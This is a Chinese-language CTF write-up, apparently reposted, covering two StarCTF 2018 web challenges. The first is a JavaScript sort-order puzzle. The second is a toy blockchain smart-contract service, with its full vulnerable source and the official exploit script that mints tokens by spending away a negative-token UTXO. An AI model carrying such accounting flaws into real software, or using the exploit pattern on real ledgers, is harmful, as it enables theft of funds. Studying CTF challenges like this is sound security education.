4

StarCTF 2018 Writeup

 2 years ago
source link: http://ultramangaia.github.io/blog/2018/starctf-ctf-2018.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Web 1: simpleweb

var net = require('net');

flag='fake_flag';

var server = net.createServer(function(socket) {
    socket.on('data', (data) => { 
        //m = data.toString().replace(/[\n\r]*$/, '');
        ok = true;
        arr = data.toString().split(' ');
        arr = arr.map(Number);
        if (arr.length != 5) 
            ok = false;
        arr1 = arr.slice(0);
        arr1.sort();
        for (var i=0; i<4; i++)
            if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127)
                ok = false;
        arr2 = []
        for (var i=0; i<4; i++)
            arr2.push(arr1[i] + arr1[i+1]);
        val = 0;
        for (var i=0; i<4; i++)
            val = val * 0x100 + arr2[i];
        if (val != 0x23332333)
            ok = false;
        if (ok)
            socket.write(flag+'\n');
        else
            socket.write('nope\n');
    });
    //socket.write('Echo server\r\n');
    //socket.pipe(socket);
});

HOST = '0.0.0.0'
PORT = 23333

server.listen(PORT, HOST);

非常简短的一段js代码,

分析下流程
(((a * 256 + b ) * 256 + c) *256 + d) = 0x23332333

a0+a1=35
a1+a2=51
a2+a3=35
a3+a4=51
凑,因为sort的原因
a0=15
a1=20
a2=31
a3=4
a4=47

主要可能引起误解的是这里的sort函数是按照字典序排序的

>> [8,12,90].sort()
[12,8,90]

Web 2: Smart? Contract

Yet another blockchain challenge with tokens in the smart contract. Be careful that the blockchain is stored in the cookie and a browser might ignore set-cookie header if it is too long, which prevents the blockchain being updated. So send the requests using scripts.

http://47.75.9.127:10012/6af948d659f0b7c5d3950a/

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import pickle
import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request

app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/6af948d659f0b7c5d3950a'

def FLAG():
    return 'Here is your flag: *ctf{******************}'

def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
    return hash(hash(x)+hash(y))

def has_attrs(d, attrs):
    if type(d) != type({}): raise Exception("Input should be a dict/JSON")
    for attr in attrs:
        if attr not in d:
            raise Exception("{} should be presented in the input".format(attr))

EMPTY_HASH = '0'*64

def addr_to_pubkey(address):
    return rsa.PublicKey(int(address, 16), 65537)

def pubkey_to_address(pubkey):
    assert pubkey.e == 65537
    hexed = hex(pubkey.n)
    if hexed.endswith('L'): hexed = hexed[:-1]
    if hexed.startswith('0x'): hexed = hexed[2:]
    return hexed

def gen_addr_key_pair():
    pubkey, privkey = rsa.newkeys(384)
    return pubkey_to_address(pubkey), privkey

bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()

def sign_input_utxo(input_utxo_id, privkey):
    return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')

def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])

def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = hash_utxo(utxo)
    return utxo

def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])

def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
    tx['hash'] = hash_tx(tx)
    return tx

def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])

def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) == type(u''): prev_block_hash = str(prev_block_hash)
    if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
    nonce = str(nonce_str)
    if len(nonce) > 128: raise Exception('the nonce is too long')
    block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
    block['hash'] = hash_block(block)
    return block

def find_blockchain_tail(blocks=None):
    if blocks is None: blocks = session['blocks']
    return max(blocks.values(), key=lambda block: block['height'])

class SRC20SmartContract:
    def __init__(self, addr, privkey):
        self.starTokenNum = 0
        self.balanceOfAddr = {addr: 999999999}
        self.addr = addr
        self.privkey = privkey
        self.owned_token_utxos = {}

    def onCall_withdraw(self, tx):
        # by calling this you can convert your StarTokens into StarCoins!
        if len(tx['input']) == 1 and len(tx['output']) == 1 and len(tx['signature']) == 0 and tx['input'][0] in self.owned_token_utxos:
            # which means that you would like to redeem StarCoins in the input utxo using your StarTokens
            recv_addr = tx['output'][0]['addr']
            amount_to_redeem = self.owned_token_utxos[tx['input'][0]]['amount']
            self.sendTokenAtTx(tx, recv_addr, self.addr, amount_to_redeem)
            tx['signature'].append(sign_input_utxo(tx['input'][0], self.privkey))

    def onCall_buyTokens(self, utxos, tx):
        # by calling this you can buy some StarTokens using StarCoins!
        if len(tx['input']) == 1 and len(tx['output']) == 1 and tx['output'][0]['addr'] == self.addr:
            self.sendTokenAtTx(tx, self.addr, utxos[tx['input'][0]]['addr'], tx['output'][0]['amount'])

    def getTokenBalance(self, addr):
        if addr not in self.balanceOfAddr: return 0
        return self.balanceOfAddr[addr]

    def sendTokenAtTx(self, tx, from_addr, to_addr, amount):
        if self.getTokenBalance(from_addr) < amount: raise Exception("no enough StarToken at " + from_addr)
        if to_addr == self.addr:
            from_addr, to_addr = to_addr, from_addr
            amount = -amount
        utxo_used_to_record_SRCToken = create_output_utxo(to_addr, 0)
        obj = {'utxo_id': utxo_used_to_record_SRCToken['id'], 'tokenNum': amount}
        payload = json.dumps(obj)
        signature = self.signSRCTokenUtxoPayload(payload)
        info = signature + '$$$' + payload
        utxo_used_to_record_SRCToken['extra'] = info
        tx['output'].append(utxo_used_to_record_SRCToken)

    def signSRCTokenUtxoPayload(self, payload):
        return rsa.sign(payload, self.privkey, 'SHA-1').encode('hex')

    def verifySRCTokenUtxoPayload(self, payload, signature):
        try:
            return rsa.verify(payload, signature.decode('hex'), addr_to_pubkey(self.addr))
        except:
            return False

    def extractInfoFromUtxos(self, utxos):
        for utxo_id, utxo in utxos.items():
            if 'extra' in utxo:
                info = utxo['extra']
                if type(info) == type(u''): info = str(info)
                if type(info) != type(''): raise Exception("unknown type of 'extra' in utxo")
                if '$$$' not in info: raise Exception("signature of SRC20 token is not found")
                signature = info[:info.index('$$$')]
                payload = info[info.index('$$$')+3:]
                if not self.verifySRCTokenUtxoPayload(payload, signature): raise Exception("this SRC20 token is fake")
                obj = json.loads(payload)
                if obj['utxo_id'] != utxo['id']: raise Exception("the id of utxo does not match the one on the token")
                if utxo['addr'] not in self.balanceOfAddr: self.balanceOfAddr[utxo['addr']] = 0
                self.balanceOfAddr[utxo['addr']] += obj['tokenNum']
            if utxo['addr'] == self.addr: self.owned_token_utxos[utxo['id']] = utxo


def calculate_utxo(blockchain_tail):
    starToken_contract = SRC20SmartContract(bank_address, bank_privkey)
    curr_block = blockchain_tail
    blockchain = [curr_block]
    while curr_block['hash'] != session['genesis_block_hash']:
        curr_block = session['blocks'][curr_block['prev']]
        blockchain.append(curr_block)
    blockchain = blockchain[::-1]
    utxos = {}
    for block in blockchain:
        for tx in block['transactions']:
            for input_utxo_id in tx['input']:
                del utxos[input_utxo_id]
            for utxo in tx['output']:
                utxos[utxo['id']] = utxo
    starToken_contract.extractInfoFromUtxos(utxos)
    return utxos, starToken_contract

def calculate_balance(utxos):
    balance = {bank_address: 0, hacker_address: 0}
    for utxo in utxos.values():
        if utxo['addr'] not in balance:
            balance[utxo['addr']] = 0
        balance[utxo['addr']] += utxo['amount']
    return balance

def verify_utxo_signature(address, utxo_id, signature):
    try:
        return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
    except:
        return False


def append_block(block, difficulty=int('f'*64, 16)):
    has_attrs(block, ['prev', 'nonce', 'transactions'])

    if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
    if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
    if block['prev'] != find_blockchain_tail()['hash']: raise Exception("You do not have the dominant mining power so you can only submit tx to the last block.")
    tail = session['blocks'][block['prev']]
    utxos, contract = calculate_utxo(tail)

    if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
    new_utxo_ids = set()
    for tx in block['transactions']:
        has_attrs(tx, ['input', 'output', 'signature'])

        for utxo in tx['output']:
            has_attrs(utxo, ['amount', 'addr', 'id'])
            if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
            if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
            if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
            if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
            new_utxo_ids.add(utxo['id'])
            if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
            if utxo['amount'] < 0: raise Exception("invalid amount of output utxo")
            if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
            try:
                addr_to_pubkey(utxo['addr'])
            except:
                raise Exception("invalid type of address({})".format(utxo['addr']))
            utxo['hash'] = hash_utxo(utxo)

        for new_id in new_utxo_ids:
            if new_id in utxos:
                raise Exception("invalid id of output utxo. utxo id({}) exists".format(utxo_id))

        if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
        if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")

        tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
        for utxo_id in tx['input']:
            if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
            if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))

        if contract is not None:
            if 'call_smart_contract' in tx:
                if tx['call_smart_contract'] == 'buyTokens': contract.onCall_buyTokens(utxos, tx)
                if tx['call_smart_contract'] == 'withdraw': contract.onCall_withdraw(tx)

        tot_input = 0
        if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
        tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
        for utxo_id, signature in zip(tx['input'], tx['signature']):
            utxo = utxos[utxo_id]
            if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
            if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
                raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
            tot_input += utxo['amount']
            del utxos[utxo_id]

        tot_output = sum([utxo['amount'] for utxo in tx['output']])
        if tot_output > tot_input:
            raise Exception("You don't have enough amount of StarCoins in the input utxo! {}/{}".format(tot_input, tot_output))
        tx['hash'] = hash_tx(tx)

    block = create_block(block['prev'], block['nonce'], block['transactions'])
    block_hash = int(block['hash'], 16)
    #We are users in this challenge, so leave the Proof-of-Work thing to the non-existent miners
    #if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
    block['height'] = tail['height']+1
    if len(session['blocks']) > 10: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
    if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
    session['blocks'][block['hash']] = block
    session.modified = True

def init():
    if 'blocks' not in session:
        session['blocks'] = {}

        # At first, the bank issued some StarCoins, and give you 100
        currency_issued = create_output_utxo(bank_address, 200)
        airdrop = create_output_utxo(hacker_address, 100)
        genesis_transaction = create_tx([], [currency_issued, airdrop]) # create StarCoins from nothing
        genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])

        session['genesis_block_hash'] = genesis_block['hash']
        genesis_block['height'] = 0
        session['blocks'][genesis_block['hash']] = genesis_block


def get_balance_of_all():
    init()
    tail = find_blockchain_tail()
    utxos, contract = calculate_utxo(tail)
    return calculate_balance(utxos), utxos, tail, contract

@app.route(url_prefix+'/')
def homepage():
    announcement = ''
    balance, utxos, _, contract = get_balance_of_all()
    genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
    addr_info = 'the bank\'s addr: ' + bank_address + ', your addr: ' + hacker_address + ', your privkey: ' + pickle.dumps(hacker_privkey).encode('hex')
    balance_info = 'StarCoins balance of all addresses: ' + json.dumps(balance)
    starcoins_utxo_info = 'All utxos: ' + json.dumps(utxos)
    startokens_info = 'StarTokens balance of all addresses: ' + json.dumps(contract.balanceOfAddr)
    blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
    view_source_code_link = "<a href='source_code'>View source code</a>"
    return announcement+('.<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, starcoins_utxo_info, startokens_info, blockchain_info]))


DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_block', methods=['POST'])
def create_block_api():
    init()
    try:
        block = json.loads(request.data)
        append_block(block, DIFFICULTY)
        msg = 'transaction finished.'
    except Exception, e:
        return str(e)

    balance, utxos, tail, contract = get_balance_of_all()

    if balance[hacker_address] == 200:
        msg += ' Congratulations~ ' + FLAG()
    return msg


# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():
    if 'blocks' in session: del session['blocks']
    if 'genesis_block_hash' in session: del session['genesis_block_hash']
    return 'reset.'

@app.route(url_prefix+'/source_code')
def show_source_code():
    source = open('serve.py', 'r')
    html = ''
    for line in source:
        line = line.decode('utf8', 'ignore')
        html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
    source.close()
    return html

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=10012)

这道题目是从ddctf2018的区块链处改编的,由于不熟区块链和智能合约,看了好久,还是没真正看懂智能合约部分,所以,Orz。

良心的官方给了解答

https://github.com/sixstars/starctf2018/tree/master/web-smart_contract

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import requests, json, hashlib, rsa, pickle, uuid

from server import *

# do some modifications to the original one to remove 'session' variable and privkey
def calculate_utxo(blocks, bankAddr, blockchain_tail):
    starToken_contract = SRC20SmartContract(bankAddr, 0)
    curr_block = blockchain_tail
    blockchain = [curr_block]
    while curr_block['height'] != 0:
        curr_block = blocks[curr_block['prev']]
        blockchain.append(curr_block)
    blockchain = blockchain[::-1]
    utxos = {}
    for block in blockchain:
        for tx in block['transactions']:
            for input_utxo_id in tx['input']:
                del utxos[input_utxo_id]
            for utxo in tx['output']:
                utxos[utxo['id']] = utxo
    starToken_contract.extractInfoFromUtxos(utxos)
    print 'utxos = {'
    for utxo in utxos:
        print  json.dumps(utxo) + ' : \n\t' + json.dumps(utxos[utxo])
    print '}'
    return utxos, starToken_contract

# ==============

def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = hash_utxo(utxo)
    return utxo

def find_inner_str(haystack, st, ed=None):
    haystack = haystack[haystack.index(st)+len(st):]
    if ed is None: return haystack
    return haystack[:haystack.index(ed)]

def append_block(block):
    print "block = \n\t" + json.dumps(block)
    print '[APPEND]', s.post(url_prefix+'/create_block', data=json.dumps(block),proxies=proxies).text
    print "\n\n"

is_first_time = True
def show_blockchain():
    global is_first_time
    ret = s.get(url_prefix+'/',proxies=proxies).text
    #print ret.replace('<br />','')
    tokens = json.loads(find_inner_str(ret, 'StarTokens balance of all addresses: ', '.'))
    balance = json.loads(find_inner_str(ret, 'StarCoins balance of all addresses: ', '.'))
    print 'tokens = ' + json.dumps(tokens)
    print 'balance = ' + json.dumps(balance)
    if not is_first_time:
        print '[tokens = {}, balance = {}]'.format(tokens.get(my_address, 0), balance[my_address])
    is_first_time = False
    print 'block trains = \n\t' + find_inner_str(ret, 'Blockchain Explorer: ')
    return ret, json.loads(find_inner_str(ret, 'Blockchain Explorer: '))

def redeem(bank_owned_utxo_id, tail, amount, nonce):
    output_to_get_starcoins = create_output_utxo(my_address, amount)
    tx = create_tx([bank_owned_utxo_id], [output_to_get_starcoins], my_privkey) # my_privkey is dummy, the signature will be overwritten
    tx['signature'] = [] # remains the field to be filled by smart contract
    tx['call_smart_contract'] = 'withdraw'
    block = create_block(tail['hash'], nonce, [tx])
    append_block(block)
    return output_to_get_starcoins

def buyTokens(utxoIdPaid, tail, amount, contractAddr, nonce):
    output_to_get_tokens = create_output_utxo(contractAddr, amount)
    tx = create_tx([utxoIdPaid], [output_to_get_tokens], my_privkey)
    tx['call_smart_contract'] = 'buyTokens'
    block = create_block(tail['hash'], nonce, [tx])
    append_block(block)
    return output_to_get_tokens

url_prefix = 'http://127.0.0.1:10012/6af948d659f0b7c5d3950a'
proxies = {"http":"http://127.0.0.1:8080"}
s = requests.session()

# 100 starcoins
resp, blocks = show_blockchain()
my_address, my_privkey = find_inner_str(resp, 'your addr: ', ','), pickle.loads(find_inner_str(resp, 'your privkey: ', '.').decode('hex'))
bankAddr = find_inner_str(resp, 'the bank\'s addr: ', ',')

tail = find_blockchain_tail(blocks)
utxos, contract = calculate_utxo(blocks, bankAddr, tail)
for utxo in utxos.values():
    if utxo['addr'] == my_address: my_utxo = utxo # find the utxo of 100 starcoins 
    if utxo['addr'] == bankAddr: coinsIssued = utxo
first100TokenBankOwned = buyTokens(my_utxo['id'], tail, 100, contract.addr, 'step1')

# 100 tokens
resp, blocks = show_blockchain()
tail = find_blockchain_tail(blocks)
utxos, contract = calculate_utxo(blocks, bankAddr, tail)
for utxo in utxos.values():
    if utxo['addr'] == my_address:
        break
my_first_100_tokens_utxo_id = utxo['id']
my_100_starcoins = redeem(first100TokenBankOwned['id'], tail, 100, 'step2')

# 100 starcoins, 100 - 100 tokens
resp, blocks = show_blockchain()
tail = find_blockchain_tail(blocks)
utxos, contract = calculate_utxo(blocks, bankAddr, tail)
for utxo in utxos.values():
    if utxo['addr'] == my_address and utxo['id'] != my_first_100_tokens_utxo_id and utxo['amount'] == 0:
        break # find the utxo of -100 tokens
output_to_send_minus_100_token = create_output_utxo(bankAddr, 0)
tx = create_tx([utxo['id']], [output_to_send_minus_100_token], my_privkey)
block = create_block(tail['hash'], 'step3', [tx])
append_block(block)

# 100 starcoins, 100 tokens, but the bank now just own a utxo of 200 starcoins, we need 200 tokens to redeem that utxo
resp, blocks = show_blockchain()
tail = find_blockchain_tail(blocks)
buyTokens(my_100_starcoins['id'], tail, 100, contract.addr, 'step4')

# 200 tokens to exchange the utxo of 200 starcoins owned by the bank initially
resp, blocks = show_blockchain()
tail = find_blockchain_tail(blocks)
redeem(coinsIssued['id'], tail, 200, 'step5')

所以,这道题目的分析,准备从分析答案开始,回过头来分析源代码。

首先,直接看答案源代码还是比较晕的,毕竟不知道他在干啥。

所以,我们先来加些log,看看整个获得flag的流程是怎样的。

用自己的钱,正常购买100token。

看起来像是正常提取100token,注意,要从不是tokenNum为100这里提取,这样提取后会有个tokenNum为-100的

注意到回到了tokens为0(100 + -100 = 0),balance为100的局面,仿佛一切回到了原点,

这是我们的地址,从这里转0个币(amount = 0)到银行,

这里就导致了一个不守恒,原则上,应该对于一个区块来说,input和output的总额应该是相等的,但是,由于这里将token储存在到extra数据域中,那么这个tokenNum=-100就会因这次的操作而消失(导致了所谓的不守恒),即不会参与到后面的计算中,那么账户中多了100个token。

即,原来的utxos中包括了两个存有extra数据的utxo,分别记录了tokenNum=100tokenNum=-100,计算你的tokens值时,会将他们求总和,即100 + -100 = 0

后面,我们通过转账0个币给银行,导致存储着tokenNum = -100utxo被使用了,其中存储的tokenNum = -100也就不会再参与计算你的tokens值,那么,计算你的tokens时,求总和,即100 = 100,此时,你的tokens为100。

嗯,然后进行正常的操作将tokens转成balance即可

这样下来,整个流程我们就清楚啦。

首先分析,整个-100是怎么产生的,

在withdraw时,这里amount = -amount ,这是什么操作?意义是?当时看到这里我就一直在迷。

再来看,当tokenNum为-100时,转账amount = 0时,导致我们tokens增加100。

被引用过的就不会加入到utxo的计算中了。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至[email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK